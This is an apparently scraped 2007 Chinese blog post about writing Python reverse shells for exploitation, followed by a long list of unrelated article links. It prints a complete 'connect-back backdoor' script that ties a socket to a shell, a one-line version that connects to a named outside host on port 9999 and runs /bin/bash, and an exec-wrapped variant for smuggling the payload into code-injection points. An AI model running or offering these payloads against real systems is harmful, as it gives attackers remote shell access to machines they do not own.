在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
玩转python爬虫之URLError异常处理
Feb 17 Python
Python简单实现自动删除目录下空文件夹的方法
Aug 29 Python
深入理解Python分布式爬虫原理
Nov 23 Python
Python实现比较扑克牌大小程序代码示例
Dec 06 Python
实例讲解Python爬取网页数据
Jul 08 Python
Python3之不使用第三方变量,实现交换两个变量的值
Jun 26 Python
django项目登录中使用图片验证码的实现方法
Aug 15 Python
Python爬虫 urllib2的使用方法详解
Sep 23 Python
解决pycharm编辑区显示yaml文件层级结构遇中文乱码问题
Apr 27 Python
python 数据分析实现长宽格式的转换
May 18 Python
彻底搞懂python 迭代器和生成器
Sep 07 Python
python中的被动信息搜集
Apr 29 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
全国FM电台频率大全 - 28 甘肃省
2020/03/11 无线电
一个php作的文本留言本的例子(三)
2006/10/09 PHP
Http 1.1 Etag 与 Last-Modified提高php效率
2008/01/10 PHP
解析php addslashes()与addclashes()函数的区别和比较
2013/06/24 PHP
PHPExcel实现的读取多工作表操作示例
2020/04/14 PHP
(仅IE下有效)关于checkbox 三态
2007/05/12 Javascript
Exjs 入门篇
2010/04/07 Javascript
JavaScript中最简洁的编码html字符串的方法
2014/10/11 Javascript
jQuery+json实现的简易Ajax调用实例
2015/12/14 Javascript
JavaScript 继承详解(五)
2016/10/11 Javascript
JavaScript比较两个数组的内容是否相同(推荐)
2017/05/02 Javascript
jQuery序列化后的表单值转换成Json
2017/06/16 jQuery
jquery插件canvaspercent.js实现百分比圆饼效果
2017/07/18 jQuery
javascript实现文字无缝滚动效果
2017/08/26 Javascript
JavaScript实现修改伪类样式
2017/11/27 Javascript
js实现星星海特效的示例
2020/09/28 Javascript
NodeJS配置CORS实现过程详解
2020/12/02 NodeJs
[41:05]Serenity vs Pain 2018国际邀请赛小组赛BO2 第二场 8.19
2018/08/21 DOTA
详解Python中的循环语句的用法
2015/04/09 Python
怎么使用pipenv管理你的python项目
2018/03/12 Python
Python数据分析matplotlib设置多个子图的间距方法
2018/08/03 Python
Tensorflow中的降维函数tf.reduce_*使用总结
2020/04/20 Python
使用python实现时间序列白噪声检验方式
2020/06/03 Python
解决Django响应JsonResponse返回json格式数据报错问题
2020/08/09 Python
python按照list中字典的某key去重的示例代码
2020/10/13 Python
解决使用Pandas 读取超过65536行的Excel文件问题
2020/11/10 Python
英国时尚和家居用品零售商:Matalan
2021/02/28 全球购物
快递业务员岗位职责
2014/01/06 职场文书
骨干教师培训感言
2014/01/16 职场文书
主持人婚宴答谢词
2014/01/28 职场文书
办公室文员自荐书
2014/02/03 职场文书
上班看电影检讨书
2014/02/12 职场文书
酒店工程部主管岗位职责
2015/04/16 职场文书
幼儿园小班工作总结2015
2015/04/25 职场文书
2016年学校爱国卫生月活动总结
2016/04/06 职场文书
Win11 BitLocker 驱动器加密
2022/04/19 数码科技